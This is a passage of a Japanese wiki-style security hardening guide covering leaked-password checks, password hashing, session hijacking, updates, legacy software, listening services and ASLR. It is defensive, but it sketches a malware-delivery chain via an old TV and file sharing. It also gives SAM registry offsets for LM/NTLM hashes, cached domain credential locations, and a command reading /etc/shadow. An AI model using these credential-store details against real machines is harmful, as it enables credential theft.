この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなってるため、ブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法が流行しています。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などのJavascriptファイルからCookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性、 SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;が、C4 (Chrome Cookie Cipher Cracker) 攻撃によってそれを抜き出すことが行われています。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || gnome-libsecret || kwallet
|}

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
